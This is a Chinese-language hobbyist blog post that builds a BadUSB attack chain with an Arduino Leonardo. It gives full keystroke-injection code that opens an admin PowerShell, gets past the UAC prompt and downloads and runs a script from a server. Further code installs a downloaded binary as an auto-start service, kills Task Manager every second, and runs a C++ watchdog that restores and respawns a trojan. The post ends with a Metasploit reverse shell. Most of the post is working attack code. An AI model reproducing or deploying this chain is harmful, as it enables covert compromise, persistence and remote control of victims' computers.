BadUSB-Arduino自嗨
前段时间了解到攻击性硬件的概念,感觉很有趣,于是萌生了自己动手尝试一番badusb的想法。
于是在网上买了一小块Arduino Leonardo (便宜的很),利用Arduino IDE并结合powershell脚本c++程序等简单模拟一下病毒的攻击流程。
关于usb
U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。
步骤
一.Arduino下载文件并执行
晒一晒我的Arduino Lenardo:
image.png
安装arduino IDE并编写代码。
#include<Keyboard.h> //包含键盘模块头文件
void setup(){ //初始化
Keyboard.begin();//开始键盘通信
delay(1000);//延时1000毫秒,
Keyboard.press(KEY_LEFT_GUI);//按下徽标键 也就是win键
Keyboard.press('r');//按下r键 CMD
delay(500);
Keyboard.release(KEY_LEFT_GUI);//松掉win键
Keyboard.release('r');//松掉r键
delay(500);
Keyboard.println("cmd");
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN); //释放回车键
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口
Keyboard.println("powershell.exe -command start-process powershell -verb runAs"); /*开启管理员级别的powershell*/
delay(2000);
Keyboard.press(KEY_LEFT_ARROW); //按住左方向键
Keyboard.release(KEY_LEFT_ARROW); //释放左方向键
delay(500);
Keyboard.press(KEY_RETURN); //按下回车键
Keyboard.release(KEY_RETURN);//释放enter键
delay(3000);
Keyboard.println("$P = nEW-oBJECT sYSTEM.nET.wEBcLIENT"); //利用powershell 定义一个对象
Keyboard.println("$P.dOWNLOADfILE('HTTP://192.168.124.129/VIRUS/STEP1.PS1','C:\\TEMP\\STEP1.PS1')"); /*从服务端下载Powershell脚本*/
Keyboard.println("C:\\TEMP\\STEP1.PS1");
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //缩小窗口
delay(500);
Keyboard.end();//结束键盘通讯
}
void loop()//循环,这里的代码
{
//循环体
}
逻辑比较简单,模拟键盘操作打开cmd,Powershell并隐藏窗口,从服务器下载powershell脚本并执行。这里由于不会绕过uac,于是用了比较蠢的键盘操作,方向键点击确定按钮。
选好正确的开发板和端口:
image.png
编译代码:
image.png
上传烧录:
image.png
接下来,插入arduino就会自动运行动作了。
二.powershell下载文件并创建服务
我想让powershell实现的功能是,去下载守护进程,创建一个自启动服务,并实现一个阻止用户打开任务管理器的功能。
关键代码:
$src = 'HTTP://192.168.124.129/VIRUS/daemon.exe'
$des = "C:\\TEMP\\daemon.exe"
$client = new-object System.Net.WebClient
$client.DownloadFile($src, $des)
new-Service -name daemonService -DisplayName daemonService -BinaryPathName "C:\\TEMP\\daemon.exe" -StartupType Automatic
while($true)
{
$tasksmanager = "taskmgr"
$status = Get-Process $tasksmanager -ErrorAction SilentlyContinue
If ($status)
{
foreach($p in $status)
{
$p|stop-Process -force
}
}
Start-Sleep -s 1
}
后面设定好每隔一秒去关闭任务管理器,当然可以把间隔时间设的更小。
三 编写守护程序
掏出了荒废已久的c++ :)
计划实现一个下载木马文件并备份,监控木马进程,自动重连和恢复文件的功能。
找的网上的程序,做了点修改。
文件检测并恢复:
BOOL checkFile(LPVOID strpath){
char *path = (char *)strpath;
if((fopen(path,"rb"))==NULL){
return FALSE;
}else{
return TRUE;
}
}
……
if(!checkFile(path[i])){
source += "//beifen";
destination = (string)path[i];
CopyFile(source.data(), destination.data(), FALSE);
cout << path[i] <<endl;
}
进程监控:
DWORD WINAPI Daemonproc(LPVOID lpParameter)
{
char *path = (char *)lpParameter;
cout << "child process " << path<< endl;
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
do{
if(!CreateProcess( NULL,path,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
{
cout << "创建进程失败.." << GetLastError() << endl;
return 0;
}
WaitForSingleObject( pi.hProcess, INFINITE);
cout << "子进程已经退出..." << endl;
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}while(true);
return 0;
}
配置文件tellme.ini:
[PROCESSNUM]
num=1
[PROCESSPATH]
path1="C:\Update\step3.exe"
四.metaspoloit
metasploit生成一个反连马。
image.png
五.final
最后把这几个步骤结合起来
arduino下载step1.ps1并执行;setp1.ps1下载其他文件,创建服务;启动 daemon.exe,复制木马到update目录,并反连metasploit。
最后的效果:
image.png
最后想要的效果是勉强实现了,但还是有很多的问题,比如这个powershell的窗口隐藏,因为我step1.ps1顺便执行了监听关闭任务管理器的功能,关掉界面功能就断掉了,最小化就没法继续输命令;还有这个daemon.exe没法自启动,需要我手动启动一下或者重启;还有arduino第一次插入会安装驱动器,我的win10成功安装了,win7没安装成功导致用不了,郁闷。而且代码实现的也很有问题,东拼西凑的,有点乱,也懒得继续花功夫雕琢了。不过确实挺好玩的,哈哈哈。